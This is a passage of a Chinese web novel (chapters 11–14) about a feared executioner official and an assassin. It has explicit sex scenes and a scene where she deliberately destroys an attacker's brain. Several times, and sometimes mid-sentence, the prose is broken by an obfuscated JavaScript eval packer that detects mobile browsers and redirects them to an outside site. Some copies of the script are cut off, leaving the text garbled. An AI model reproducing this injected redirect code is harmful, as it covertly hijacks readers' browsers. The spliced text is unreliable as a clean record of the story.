他们一路杀出重围,到最后那一方似乎放弃了从他们身上获得信息,撤回了所有的人手,放任他们离开。等到翻出别院的院子,两个人身上、手上都沾满了血液。 血腥味浸透了衣服。 到达联邦名下安全屋,林又茉打开浴室的喷头,哗啦啦,清水喷涌而下。 两人不约而同默契地站到水流底下,冲刷身上的血味。 红刀身上伤得很重,薄薄的布料凌乱地贴着肌肤,几乎遮不住纵横交错的殷红伤痕。血色沿着锁骨蜿蜒,没入衣料残破处。 就连唇角也有伤,是拷问时忍耐咬出来的。 而林又茉同样受了伤。黑发沾湿,紧贴着冷白的脸颊,她神情依旧冷淡,但身上那套标准的黑色制服布料破损,手臂和小腿都有不同程度的擦伤。 冲淋着,两个人浑身带伤,肌肉酸痛,只有肾上腺素还在激烈运动的余韵,连同鼓噪的、剧烈跳动的心脏。 狭窄逼仄的简陋浴室里,两个人挤得只能面对面站着,水流染红,流进地漏。 红刀没忍住笑出声。 他看着林又茉那张就算一场杀人活动后也平静的脸,弯起桃花眼:“执刑官,真没想到我们俩真挺幸运,你说这是不是种命定的缘分?” 林又茉拧着黑发上的血迹,没回应。 “最后真给那个变态富商偷到了,谁能想呢,我看他做.爱都用不着三秒,结果死了还来一发诈尸按了个按钮。” “但幸好,执刑官你还藏了后手,说实在的,如果没有你,今天不知道要花多久才足够议会那些老家伙反应过来我失踪了的消息……或许那个时候我的尸体已经凉了也说不定。” 他笑眯眯凑上去:“你说执刑官,我该怎么报答你才好?要不我用身体来伺候——” 她说:“好。” 红刀呼吸一滞。 他下意识去看她的脸。 她没有……开玩笑。 她的那双黑眼睛抬起来,林又茉黑发被水打湿,水滴顺着发尾淌下,显得那双眼睛格外得黑。 像黑夜,像无尽的泥沼,能让人陷进去,被吞没。 她说:“跪下来。” 仿佛被蛊惑,红刀盯着她,慢慢地膝盖着地。 少女的学院制服裙摆被提到大腿处,林又茉垂眼看他,抓住了他后脑凌乱的黑发。 红刀下半张脸一片湿润,被猛地压到浴室的墙壁上。她一点都不轻柔。而他尝到了她的味道。 嘴里的味道令人着迷、兴奋,如果可以,红刀简直想沉溺,溺死,只要她给予他更多。 后脑的头发被抓得很紧,如果不被满意,掌控他的主人甚至还会扯他的颈环,红刀从来没想过它的用处会有一天是这样,但简直物尽其用。 他被使用,被利用,被当做工具,浴室氤氲,光晕之下的淋浴水串之下,红刀终于被拎着头发放过,他仰着脸,漂亮的脸上不知道是水珠还是其他,唇色被泡得更艳。 桃花眼尾上挑,眸色却暗如暗流。 他的确很适合红灯区。 林又茉的手指按过他的唇角。 而他俯下脸,甚至轻柔地蹭了她的掌心。 头顶的水流依然哗啦啦冲刷,这对死对头,头一次肢体的接触不是为了杀死对方,两人浑身湿透,破碎凌乱的衣服压根受不起这样的折腾,简陋的浴室东西散落了一地,红刀后背被抵到浴室湿热的墙上时,他抬起手,主动将上衣扣子解开。 比起嘴上百无禁忌的放荡话语,胸膛上却是无人采撷过的纯情的嫩粉色,在水流下显得格外涩情。 他垂眸看她张嘴咬上,红艳的唇角慢慢勾起,轻笑低得几乎要被水声淹没:“我这具身体被享用的第一次,没想到是给你呢……执刑官。” 轻飘飘的声音响起,带着笑意。 然后,他手穿进她脑后的发,纵容一般将她按在怀里。 他想,他们果然是天生一对。 疼痛与痛苦,放纵与享乐,无所顾忌又天生招摇。 终于……终于。 谁会说他们不是呢? 11.第 11 章 【刽子手销声匿迹的三个月】 【是风平浪静的假象,还是更大的阴谋正在酝酿?】 【联邦都城治安报告】 …… 报纸一版接一版地加印,毫无根据的猜测像无头苍蝇乱飞。没有消息就是最令人惧怕的消息,毫无疑问,这成为了许多不知情人的热度话题。 ** 这不是件好事。 林又茉闲暇时停下来,平静地想。 这不是件好事。 她快要习惯红刀那张过于聒噪的嘴了。 在上一次之后,仿佛洪水泄了闸门,红刀这场灾难毫无预兆地淹没进她的生活里。 出乎意料地,他们如此默契,林又茉默许了一切。 任务时,两人挥刀开枪杀人不眨眼;任务后,满身汗水地纠缠进彼此的身体,消耗最后一丝力气。 红刀是从D级的底层爬上来的野草,但看起来,显然也相当会爬床。 各种道具和玩法,他来者不拒,林又茉后知后觉地想起来,他很会忍痛,是被刑罚之后还能轻飘飘带着笑揶揄她的恶人程度。而对于红刀自己来说,他甚至热衷尝试,爱好自荐枕席,为什么不呢?他打开了新世界的门,窥探到了令人快乐的新宇宙,他像找到了新的玩具,又像找到了新的爱好,乐此不疲,永不疲倦。他跟他的小执刑官有太多的精力可以挥洒,这些花样对他来说不过是乐趣的催化剂。 何况,他有一具太适合做.爱的身体。 昏暗午后的卧室里,风吹鼓着窗帘。 这里不知道是哪个安全屋,平日里没有人来,在这个荒无人烟的郊外,有的只是床上的他们两个人。林又茉抬眼注视他。 红刀没有穿上衣,纯情的身体在几周内被催熟一般艳丽,漂亮韧劲的腰肢线条,暴露在她的视线里。 他抓住少女的手,带她的手贴上自己的腰。慢慢下移,林又茉发现他的侧腰随着抚摸出现了一行花纹。 在这个时代,人们可以轻易在身上打下印记,全凭喜好。 而林又茉读懂了那一行花纹的意思,那是几个时代前的文字,是一行…… 数字。 “623次。”红刀说。 他半眯起眼,满足地道:“知道这是什么数字吗?执刑官。” 纹路像盛开的花朵,逐渐蔓延在皮肤上。代表着他们每次消耗的精力,折腾的汗水,激烈的占有、被占有,攻城略地。这具身体快熟透。 “你在我身上的印记。” “623次,622次,621次……”红刀垂眼看她,上挑的桃花眼里带着毫不掩饰的攻击性,带着她的手指探索,却说着诱人上钩的话语,如同他一贯的作风。 像引人堕落的禁果,而他是诱骗人的那条蛇。他很低地哼笑:“你想亲自绘制吗?” 随即世界天旋地转,红刀愉悦笑出声。 天啊,他们如此年轻,有那么多的时间、活力,用不尽的能量,那为什么不纵情享受? 反正一切总不会比死亡更糟糕。 …… 一次又一次,一次又一次。红刀简直像是一场永不停歇的灾难。 又一天的任务结束,两个人浑身血迹滚进临时的酒店房间,在床榻轰然一声倒塌时,远处窗外的爆炸像烟花一样绽开,杰作、这样的杰作简直是他们两人亲密无间的证据。 巨大的火光映彻半边的夜空,像是流星,红刀的眼底也淌进亮色。 他窝在凌乱的白色枕头和被单间笑得张扬,两个人的唇齿纠缠刚结束,林又茉冷不丁掰起他的下巴,指节顶在他脆弱的咽喉上。“舌头。”她说。 红刀作为干了坏事的始作俑者,当然知道发生了什么。他很慢地眨了眨眼,戏谑地叫她“执刑官”,然后张开唇——湿红的舌尖上赫然躺着那枚薄如蝉翼的刀片。 银亮亮的,锋利的。 “我学会了。”他一瞬不瞬地盯着她,嗓音轻哑, “是不是该夸奖我?” 回应他的是掐住脖子令人窒息的手,少女叼走刀片,舌头重新卷起含进嘴里,埋下脑袋伏在他胸前,让他紧张于不知道咬的哪一下会不会被割伤,那枚锋利的刀片……而这张紧张感让红刀身体紧绷,早就被催熟成艳红色的地方传来麻痒,红刀没忍住吸气,却又低低哼出声。 …… 他忽然问:“季相兰是不是你的情人?” 林又茉看向他,红刀玩弄着手里的刀片,示意着窗外大幅霓虹色彩下的金发男人广告。 “第一次见面时,你身上带着他的紫罗兰香味。”他轻飘飘说,而执刑官是个不用香水的人,“他在你身上沾下的。” 那个雨夜里,林又茉看着海报上的季相兰的时间也多了一瞬。 聪明的大明星不可能不知道林又茉的浪荡习性,但季相兰并不会明面挑衅,而是在爱人身上留下一点自己的痕迹,给潜在的竞争者找点不痛快。林又茉知道,但没反对过。 她或许是不在意。 “啊——执刑官,”红刀倒在床上,语气像撒娇,“你果然很受欢迎呢。” 他摸着腰上“5”字开头的花纹。 “啧,我也中招了。” …… 然后在某一次,林又茉也给他带来了礼物。 一枚漂亮的银针,穿透他,像穿透生日蛋糕上的樱桃。林又茉亲自动的手。 高高在上的执刑官那只将无数人送往死刑的手,漫不经心地扣开打火机,将银针烧过消毒,然后抵着珠子,穿了进去。红刀闷闷地哼了声,眼底染上一片湿雾,低头看看那红肿的艳红色,只能摇头叹气:“执刑官,你这让我冬天穿毛衣很难办。” 将东西串好,林又茉松开手,打量自己的作品。 他又说:“冬天我们去哪里做.爱?” 很滑稽、没来由的问题。但红刀兴致勃勃,他想到了,于是也就问出口了。 冬天对红刀从来不是一个好词。 小时候的红灯区爆发了那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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白茫茫的雪,壁炉里的篝火,呼啸的山风,柔软的床榻。 像一只朝不保夕的渺小蜉蝣,他躺在执刑官旁边,可笑地开始期待第二天的晨光。 在人生的第一次里,红刀摒弃肮脏的过往,对未知有了向往。 “去哪呢?”他半真半假问。手指穿过少女柔顺的黑发,漫不经心地拨弄,“你有喜欢的地方吗执刑官?或许可以坐船,在雪地里也许有格外不同的体验,你去过雪屋吗——” 回应他的是少女掰起他下巴的手,让他聒噪的话语终结在她捂住他嘴的手心之下。 “吵。”她这么形容他。 而红刀喉咙里发出低低的笑,他弯起眼,笑得很开心,身体都在震颤。 他终于开怀大笑。 林又茉莫名地看着他,红刀觉得更开心了,执刑官还是那张从来不笑的脸。 “我觉得我必须要回报你了。执刑官。”他笑眯眯说,“你必须要收下一份来自我的礼物。” “你会喜欢的。” 12.第 12 章 话虽这么说。 但最后的结果却是风牛马不相及。 但林又茉低头看向手里突然被塞进的两个甜筒,和头上被扣上的卡通花栗鼠帽子,无言了许久: “……” 面前的大门写着“联邦游乐园”: C级、D级公民的快乐天堂!享受极乐!短暂忘掉底层人的烦恼! 红刀捧腹大笑,压根不想掩饰上翘的唇角,他戴着同款的花栗鼠鸭舌帽,拿着两张游乐园的票,带领冷酷无情的执刑官进入这个平民乐园。 “今天就好好享受一下普通公民淳朴的快乐吧怎么样?尊贵的执刑官。” 尊贵的执刑官:“……这就是你说的礼物?” 她以为会是什么实质的东西。 想多了。 “是啊。”红刀煞有介事。 林又茉面无表情:“这里普通公民这么多,你不怕我被认出来,然后在这里大开杀戒吗?” 红刀惊讶地挑眉:“可你又不是愉悦犯,执刑官。” 林又茉:“……” 被真正的愉悦犯冒犯了。 林又茉说:“但我怎么觉得这更像你自己给你的礼物。” 她凉凉抬起眼,红刀正笑得前仰后合,一个长相俊美的年轻帅哥在游乐园门口笑成这样,很难不吸引人注意。 戴花栗鼠帽子的小执刑官很难有说服力呢。 红刀大大方方地按下林又茉的帽檐:“放心,没有人会想到堂堂执刑官你会屈尊纡贵来这种平民地方,还打扮成这样,就像你非说在红灯区看到神官了,谁会相信这种话?” 他眨了眨眼,一副得逞的样子。 “天啊,老公,那是不是……” “可刽子手,怎么会……” “那个小女孩……” 附近路过的游客惊恐地盯着林又茉没被遮住的下半张脸窃窃私语,但他们很快一拍大腿,笑着摇头“怎么可能”把自己说服了。 “不可能,绝无可能!执刑官戴花栗鼠帽子?哈哈!她怎么会有这种情趣?” 林又茉:“……” 红刀:“你看看我说什么了?” “而且执刑官。咱俩来这里也不是完全没事做的,”红刀在她抬脚要走之前,赶忙指向不远处一对正在排队的父女,哄道, “喏你看,那个中年父亲,是我这次任务的目标。” “我们要好好盯梢他们才行。” “执刑官,你不会就这么轻易地放过一个违法分子——对吧?” 林又茉盯了会儿那对父女。 他们看起来格外普通,父慈女孝,没任何特点。 话又说回来,林又茉想把红刀嘴缝上。 见林又茉没说话,红刀觉得她默许了,他抖抖手里的两张票,笑眯眯一挎她的肩膀:“来吧来吧,我来教教你什么叫劳逸结合。你是不是活了二十岁都不知道,认真工作的同时,也是需要摸鱼的?” ** “呜呼——” 林又茉跟在那对父女身后坐了三次云霄飞车、极速光轮、720度海盗船,下来的时候心率变化不超过5。 “天啊好爽,这种项目真是意料之外地有趣,哈哈哈哈——” 反而是红刀,一直超享受地大笑,一副高兴得没边的样子。 林又茉把帽子重新扣起来:“上次从二十一楼跳下来没见你这么开心。” “哎呀,工作是工作,放松是放松,怎么能一样呢?” 红刀也戴上他的帽子。 他去拿了自动拍摄的游客照。 照片上,是一群疯癫的游客和一个面无表情的头发倒竖的小女孩。 红刀:“噗哈哈哈哈哈哈哈哈!执刑官你看你!哈哈哈哈……” 是她跟不上普通公民的思维逻辑。林又茉冷静地想。 不要在这里拔刀,会造成恐慌。等会儿等没人了再给他一刀。 过了十分钟,红刀还在笑。 “任务还没结束吗?”林又茉问。 她想动手了。 “还没。”红刀语调悠悠,弯下腰,“这才多久啊,盯梢的一半都还没结束呢。” 他笑出两颗虎牙。 ** 两个人跟在这对父女身后,先后坐了旋转木马,倒转茶杯,最后到了一个射击气球的摊位前。 女儿打了十多枪只有一枪中了,扁嘴要哭,父亲慈爱摸头夸奖。 林又茉在隔壁蒙眼单手打出500/500的好成绩。 女儿在鬼屋被吓哭,父亲连忙安慰说没事。 林又茉进鬼屋如若无人之地,反而把工作人员吓昏过去(“好像刽子手!呜呃!”)。 父女俩在高峰期排热门游乐项目需要两个小时。 林又茉要掏钱给他们买超级尊贵vip被红刀连忙阻止了。 红刀无奈:“你喜欢做慈善吗执刑官?” 林又茉:“两个小时太久了。”什么东西要排两小时。 黑发少女冷冰冰地站在那,手里拿着一沓联邦大额钞票。 红刀看乐了:“好吧,这段我们不跟着他们了,我们在下面找点东西吃。” 他顺理成章地从她手里夹过那一叠钞票,塞进自己胸前口袋,轻轻叹气,“尊贵的执刑官大人,给你个机会,用这些钱请你漂亮的仆人吃点东西怎么样?” ** 都城的黄昏如期而至。 活动了一天的林又茉靠在长椅上,红刀在旁边有一搭没一搭地舔着被她抛弃的甜筒。 香草味的,怎么能就这么扔了? 他们盯梢的那对父女坐在道路斜对面的长椅上,两人背对着他们,温馨地靠在一起,小女儿手里还捏着一个气球。 黄昏将这对父女的影子拉得很长。 怎么看都再普通平凡不过。 红刀悠悠闲闲地啃完一个甜筒,听到林又茉开口:“他们不是你的任务目标。” 红刀微微一顿。 这是一个陈述句。 “我们也不需要盯梢他们。” 林又茉转过来,黄昏的光拂在她一半的侧脸上,漆黑的眼睛深不见底。 她没有在问他。只是在叙述事实。 “对吗?” 红刀停顿了片刻,唇角微微勾了一下。 “好吧,被你发现了。”他自首叹气,“不过我也没有完全说谎,那个父亲的确犯了罪,他前天在买水果的时候偷了两个苹果。制裁各种类型的违法犯罪也是我们的职责,对不对,我没有骗你。” 林又茉:“量刑?” “罚款50。” 林又茉从来没见过这么小的量刑单位。 她没有问他为什么要把她骗过来这里度过一日。 她很明白理由。 林又茉站起身,准备离开。 “再等一下,执刑官。” 红刀叫住她,林又茉回头。红刀正靠在长椅上看着她。 那双桃花眼安静地注视她,将她的身影映在眼底,金灿灿的黄昏让他的睫毛染上一层暖色。 他忽然笑说,“我要离开一段时间。” “你会想我吗?” ** 在接下来的日子,林又茉没有再见到红刀。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15895129|173604||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>他似乎去出了一个不定期归来的漫长公差,行踪游荡不定,但偶尔会给她寄来各种旅行地的明信片,捎带各类袖珍的土特产,活跃程度大概像一只时不时刷存在感的旅行青蛙。 红刀:有没有想我执刑官?给你看八只角的海星。 林又茉回:没有。 红刀:现在想我了吗?看七只角的海星。 林又茉回:不感兴趣。 红刀:那给你看六只角的海星。 他似乎又换了一个靠海的地方出差。随信附来的又是一只八角干海星,切掉了两个角,变成了六角。 林又茉:“……” 有没有人考虑一下八角海星的感受。 林又茉回:虐待珍稀动物,监禁三年。 红刀:那想我了吗? 林又茉中途忙工作,花了许多天将叛逃的一整家罪犯全部杀光才返回都城,回到家时,才发现下一封明信片老老实实躺在了她的桌上,已经不知道过了多久天。 红刀:承认吧,执刑官。我不在,你会很寂寞。 红刀的字跟人一样飘逸。 信下附了一样东西,是几个月前在林家原址前,小贩兜售的情侣企鹅钥匙扣。红刀买了一对。 林又茉洗完澡出来,随手将劣质企鹅翻到底,底部有一行迷你小字:——哈哈!看到这说明你想我。 林又茉:“……” 竟然是碰瓷。 碰瓷要判二十道鞭刑加五年监禁。 再给企鹅翻个面。 红刀:——但我想你,执刑官。 这句话认认真真写的,一笔一划,油墨因为长久的驻笔而晕染了一块。 林又茉低头盯了企鹅一会儿,将钥匙扣扔进抽屉,关起来。 让她做主判,会多判他几个月的义务劳动。 就去那个游乐园卖冰淇淋吧。看他那么喜欢。 不过说起来,几个月跟红刀的日日相处,突然耳边那道聒噪的声音不见了,林又茉忽然并不那么适应安静。 她突然清静了。 这样的清闲来得悄无声息,林又茉在这样的闲暇里甚至匀出了时间收拾东西,去学院。 联邦里说的“学院”只指唯一一个学院。贵族子女特供学院,学校里没有贫困生,B级及以上的标准卡得很死,没有一条漏网之鱼能溜进来。 如今的社会制度下阶级跨越几乎等于天方夜谭,上流社会没必要对底层人伪装没必要的慈善面孔。 学校里大多数人没有见过她,但是又“见过”她。林又茉除了上课就会泡在图书馆。所有人诚惶诚恐地对她退避三尺。 巴结、讨好在执刑官身上不会起作用。学生们更担心父母辈的手脚干不干净。 这座学院里的人还不是家族的掌权者,没有人想做那个因为一句话得罪了执刑官就导致全家人失败者结算画面的倒霉蛋。 当然——已经得罪过她的除外。 林又茉日复一日地上学、放学,将之前落下的功课补齐,缺席的考试考完,顺便刷一些学分。等到学分集齐,她一两年后就可以提前毕业,从此结束这没什么意义的学校生活。 但在一节平平无奇的体能课前,林又茉去更衣室,从隔间出来,发现整个更衣室已经被清场了。 房间里很安静。 穿着制服的贵族少年在那儿等着她,他脑后的黑发绑成小辫,双臂环抱,抬着下巴,一副盛气凌人的模样,气场冰冷,压抑着怒意。 在上一次的羞辱过后。 薛子琛做梦都想杀了她。 他微笑,保持着良好的礼仪:“林又茉,别来无恙。” 13.第 13 章 “……” 林又茉心情平淡地有些厌倦,就像打开电影看到并不想看到的前情提要,很想一键跳过,但对方却兀自要演下去。 她平淡地移开目光,走到镜子前洗手。 薛子琛依然保持微笑:“你可以装作什么都没发生,但我们心里都清楚。你上次那么做,就是在报复。” “堂堂执刑官,假公济私,报私仇。再怎么说,议会也不会坐视不理。” “你刻意针对我——就是因为你不满神官和议会长的婚礼,不对吗?” 薛子琛自信满满,他已经知道了答案,也拿捏到了她的把柄。 林又茉给手上涂上消毒剂:“你叔叔知道你在这么?” 薛子琛像听到什么好笑的笑话:“叔叔?你还真敢提尊贵的议会长。上次是我失误,没想到你藏得那么深。但这次不一样——这里是学院,禁止携带武器,就连A级公民也不例外。更何况你现在身上连一件防身道具都没有。你觉得现在报我叔叔的名号我就会停手?” “不会的,当我叔叔发现我的杰作,他只会对我报以赞赏。” 林又茉:“我说的不是这个。” 薛子琛:“那是什么?” 林又茉擦干手,平静地道:“我是说,你叔叔知道你喜欢偷溜进女更衣室吗?” “……” “你——什么女更——” 薛子琛脸色变了又变,气得脑仁疼,直接怒极反笑,“你真是敬酒不吃吃罚酒,执刑官。我本来觉得你会聪明一点,知道什么时候该低头求饶,没想到你真是半点不识时务。” “反正没关系,等一切结束,你也已经是个只会说囫囵话的傻子了。” 薛子琛打了个响指,几名强壮的高年级学生走出来,个个人高马大,他们都被薛子琛握了把柄,没有办法反抗,只能被迫听从命令。 他们手里拿着电击.枪。 最新型号的军用电击.枪,袖珍小巧,可以通过金属探测器,电流量强大,能在一秒内烧坏一个正常人的神经系统。 为了确保万无一失,薛子琛特地让母亲从叔叔那拿来了拥有议会长权限的军用版本。 薛子琛轻笑:“我知道我杀不了你,但一个变成傻子的执刑官,说出来的话,还有谁会信?” 林又茉独自站在水池前,转过身来,望着那五名高大的高年级。 她刚换完体能课的衣服,T恤配运动短裤,齐腰的黑发还未束起,配上她那双漆黑的眼和白净的脸,看起来像瓷做的袖珍娃娃。 薛子琛微笑:“你现在还有时间跟我道歉。” 林又茉不明白世界上为什么总有这么多的蠢人。 基因技术在进步,医学技术更加先进,各类科技百花齐放,就是为了让这些蠢货在医疗摇篮里能够平安诞生。 优胜劣汰的进化论早就应该把他们掐死在受精卵里。 如果这个世界的阶级按照智商排序,那么红灯区肯定都塞不下这些贵族脑袋。 看着来意不善、气势汹汹的对面几人,林又茉瞥了一眼墙上的时钟说:“你好像从来没做过详尽的调查。” 薛子琛笑了:“什么调查?” “你好像不明白,为什么我身边的人,接近我时从来没有携带过电子器械。” “或许在来之前,你真该好好跟你的叔叔聊一聊。” 在议会长晚宴时,护卫顶着她太阳穴的是普通机械手枪。 神官想她时,是让人送来了花。 就连红刀那个笨蛋的脑子,给她寄来的,也都是一张张纸质的明信片。 明明两个人都有光脑的话,给她发消息更快捷。 更别说,堂堂联邦大议会长薛柏寒恨她恨得牙痒痒,但在面对一个功过相抵、最适合要挟她的机会时,只让她去红灯区主管李七的硬盘里取芯片。 为什么是她? 为什么不能是其他人? 为什么只能是她? “你以为他们摒弃电子设备,是因为不习惯吗?” 薛子琛脸色终于出现了一丝轻微的裂痕。 他不相信她说的话,但——贵族少年退后一步,对未知的不确定感在他心脏中涌动、扩大,让他牙关有点松动,寒意顺着神经蔓延下来。 “你是什么意思?” 她为什么看起来一点都不害怕? 不对……不对劲……有什么是他不知道的? 她有什么底牌? 她在唬人? 林又茉没有立即回答。 她只是摘下手腕上的发圈,将黑发卷上去,少女白皙后颈的一道文字显露出来:【A级公民,#执刑官#】。 特异的红色权限标识在光下像灼烧的印痕,一闪而过,隐没进皮肤里。 “意思是,你从头到尾,都没明白‘执刑官’究竟是个什么职位。” “而执刑官,究竟能干什么。” 下一刻,电光火石之间,林又茉欺身上前,疾跑跳跃,一手扣住为首高个子的脑袋,就要抓住他手里的电击.枪。 高个子吓得急忙扣动扳机,其他人也下意识开枪,所有电击.枪突然噼啪作响,蓝色电弧乱蹿,像挣脱束缚的野蛇,然后在下一瞬—— 【权限干扰】 【权限干扰】 【权限干扰】 【权限干扰】 鲜红的文字密密麻麻一瞬间像警告的咒语一般闪现在屏幕上。 啪!啪!所有枪支金属壳体剧烈地爆炸弹开,高智能的电击.枪自动旋钮枪头,追踪指令路径中的目标敌人—— 轰隆一声,更衣室的整扇墙在爆炸下轰然倒塌。 浓烟和石屑夹杂着金属与塑料的焦味,迅速弥漫整个房间。 灰黑烟尘之中,薛子琛仰倒在一堆碎石之上,他痛苦地剧烈喘气,双耳嗡鸣作响,近距离接近爆炸让他身体皮肤被不同程度烧伤。 但没关系——这种程度的皮外伤,只要进入医疗舱,就可以被治疗回来。 但不对,不对,这些电击.枪的射频根本不可能导致爆炸,为什么会炸?是谁做了手脚,是谁要害他? 不行,现在不是追究这些的时候。得尽快治疗伤口,只要撑过去,他会痊愈,会恢复,会…… 他的念头戛然而止。 一双运动鞋出现在他面前。 少女站在烟尘中,居高临下地俯视他,漆黑的眼睛平淡无波。 如同那支对准他的黑洞洞的枪口。 薛子琛嘴唇剧烈哆嗦,他居然感受到了绝望:“你不能杀我,你不能杀我!……我是议会长的侄子!你杀了我,就是在跟议会长作对,就是在跟整个薛家作对!你不可能跟我们整个家族为敌——” “议会长不会放过你的,你不要忘了,神官要跟议会长结婚,如果你那么在意神官,你就该知道,神官的死活都是议会长说了算!” 薛子琛像找到了免死金牌,绝望之中又燃起了希望,他觉得他抓住了救命稻草:“你也知道上一任、上上任、再前面的神官都是怎么死的,对不对?!” “你杀了我,他一定会拿神官出气!你不怕吗?!你不是温臻养大的吗?你就不管温臻的死活吗?!” “你就不怕我叔叔这么对温臻——” “我不杀你。” “太好了!你——” 砰。枪响。 几个高个子瘫痪在一边,惊恐地看着薛子琛像块烂肉一样软倒在地,口鼻溢出大量鲜血。 她开枪得毫不犹豫。 林又茉很轻地,慢慢地重复。 “……‘我杀不了你,但一个傻子说出来的话,还有谁会信?’。” 军用电击.枪让人脑神经瘫痪的频率是1400赫兹。她刚好调高了一些,确保再好的医疗技术都对他烧焦的脑子回天无力。 他早就该在受精卵的时候就被劣汰掉,神志清醒活到现在已经算浪费了太多的社会资源。 活得够本了。 然后林又茉转过眼,向着剩下的几个人走去。 ** 议会长办公室。 秘书小心地屏住呼吸贴墙站立,试图弱化自己的存在感。 一片安静,只有贵妇人的啜泣声。 “柏寒,柏寒……这怎么办……我们子琛还那么小……” “他就这么傻了,那以后怎么办,我只有这一个儿子……我问了医生,怎么都恢复不了清醒了……” 贵妇人失声痛哭。 秘书打量议会长的脸色,接收到信号,硬着头皮地出声:“夫人,我听说,薛子琛少爷是因为偷窥女更衣室,跟几个高年级学生打起来,然后擦枪走火……” 贵妇人怒目圆睁:“你在说什么傻话!我儿子有那么多情人,怎么可能偷窥女更衣室?!” 秘书头皮发麻:“有可能……薛子琛少爷的癖好之一就是偷窥……” 贵妇人:“怎么可能!” 秘书闭目输出:“俗话说得好,妻不如妾,妾不如偷……”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这个联邦社会有着足够扭曲的制度,残酷的阶级,和相当不近人情的严苛的法律,但是这个社会高度电子化,科技如此发达,拥有最高权限就相当于拥有了实际上的审判权。到哪都可以如入无人之地的林又茉并不该觉得哪里不好。 在林家所有人惨死之后,林又茉作为唯一的继任者,获得了大笔的财富,她本来不应该有任何不满。 本来不应该有任何不满的。 “林小姐……”佣人轻声唤她,眼神饱含担心。 “嗯。”她站起身。 穿着白色衣裙的林又茉站在庄园里的湖边,微垂着头看湖水,黑发被慢慢吹拂起,扫过她的手臂。 “神官的婚礼就在下个月,请柬已经被送过来了。” 佣人欲言又止。 作为这栋房子里最年长的佣人,经过这么多年,佣人对林又茉和神官之间的暗涌起伏,多少察觉到过一些蛛丝马迹。 林小姐真的对神官结婚的事情毫无所谓吗? 那为什么要在这里居住?这么多的深绿色,只是神官眼睛的颜色。 “请柬是谁送的?”她问。 佣人低声回答:“是议会长底下的人送来的。” 不是温臻送来的请柬。 堂堂大议会长亲自让人送邀请函,邀请她出席婚礼,只为了让她亲眼见证一项货物的所属权变更。 从来不属于她的东西,要被别人正大光明拥有。 林又茉知道这是威胁。 佣人看她脸色,小心道:“林小姐,每一任神官都得跟议会长结婚……是制度规定。” 神通广大的执刑官,也有无法改变的事情。 “我不会去。”林又茉说,“在这段时间,我会休假。” 她抬起眼,漆黑浓墨一般的眼睛对这个消息毫无反应。 她安静地离开,“我会离开都城,在这段期间,不需要找我。” 离开之前她站住脚步,“对了。” “嗯?” “最近,有明信片送来吗?” 佣人谨慎回答:“……没有。” “好了,我知道了。谢谢。” …… 而就在几天之后,许久没有收到红刀消息的林又茉,听到了一封轻飘飘的死讯。 14.第 14 章 “啊——想执刑官了……” 红刀看向大海边际清晨的太阳,胳膊枕在脑后,伸了个懒腰,笑眯眯地想。 海风吹拂,带来属于大海的特殊潮湿气味。猎猎吹起他的衣角。 执刑官在干什么呢? 这里真漂亮。可惜不能用光脑拍照片给执刑官。 执刑官身边不能用电子工具。讨厌的规矩。 那么——冬天该去哪里好? 红刀已经想了很久了。 在离开都城这段时间,红刀脑子里过了好多个地名,反复思量,都觉得没那么满意。 要不是太冷,就是不下雪,要不就是看中的酒店床的软硬不行……这显然相当重要,这可是他跟执刑官约会的关键条件,要是玩到一半床又塌了怎么办? 他随手买了几本杂志作参考,但联邦的旅游杂志水平实在堪忧,推荐的热门旅游点让红刀嫌弃不已。 可以举报他们诈骗吗?但想到万一举报的是大型产业链,最后工作还是会落到自己手里……红刀又悻悻放弃了。 只能罚款不能砍人的工作,有点无聊。 好惆怅。 “啧。” 一声嗤笑从身后传来,来人凉凉道:“没想到也能看你为女人茶饭不思的一天,今夕何夕啊,红刀。你脑子终于坏掉了?” 来人把一样东西扔到他怀里,红刀笑嘻嘻接了,眼睛弯成月牙:“谢了,我欠你一个人情。” 来人一身黑衣,半张脸布满疤痕,他打了火机点起根烟,声音沙哑:“别。你现在跟我说话,我都怕恋爱脑靠空气传播。” 红刀也不生气。 他叹了口气,大喇喇站起身,他身量极高,面对海站着,影子拖长到身后的房门上。 黑衣青年抽完半根烟,才开口:“你确定要这么做?” “不然呢。” “红刀,这不像我认识的你。”黑衣青年直白道,他脸上的疤痕格外狰狞,从额头一直划到下巴,“我从议会下面退役前,你还是个思维正常、懂得权衡利弊的正常人。” “你不会为了某个人冒这么大的风险做这种事,这不像你。” “可是那又怎么样呢。”红刀满不在乎,“我想来就来了。” “你从D级爬到B级不是为了就这样毁掉自己的。”黑衣青年皱眉,“你付出了多少辛苦,你跟我都知道。这无论从什么角度考虑都不值得,你究竟明不明白?” “值得”上面加了重音。 被议会养大执行任务的他们,无一例外,都是一群黑暗中行走的恶鬼,利益是他们的通行证。 值不值得才是他们考虑事情的第一要义,而不是所谓的一时冲动。 “何况你还是为了那个刽子手。”黑衣青年吐出一口烟,道,一丝厌恶闪过眉宇。他们向来跟刽子手不对付。“我实在想不通你的决定。作为你的前辈,我希望你多斟酌一下,不要盲目付出,最后赔的什么都没留下。” 红刀沉默了一会儿。 他抛了抛一直握在手里的东西。 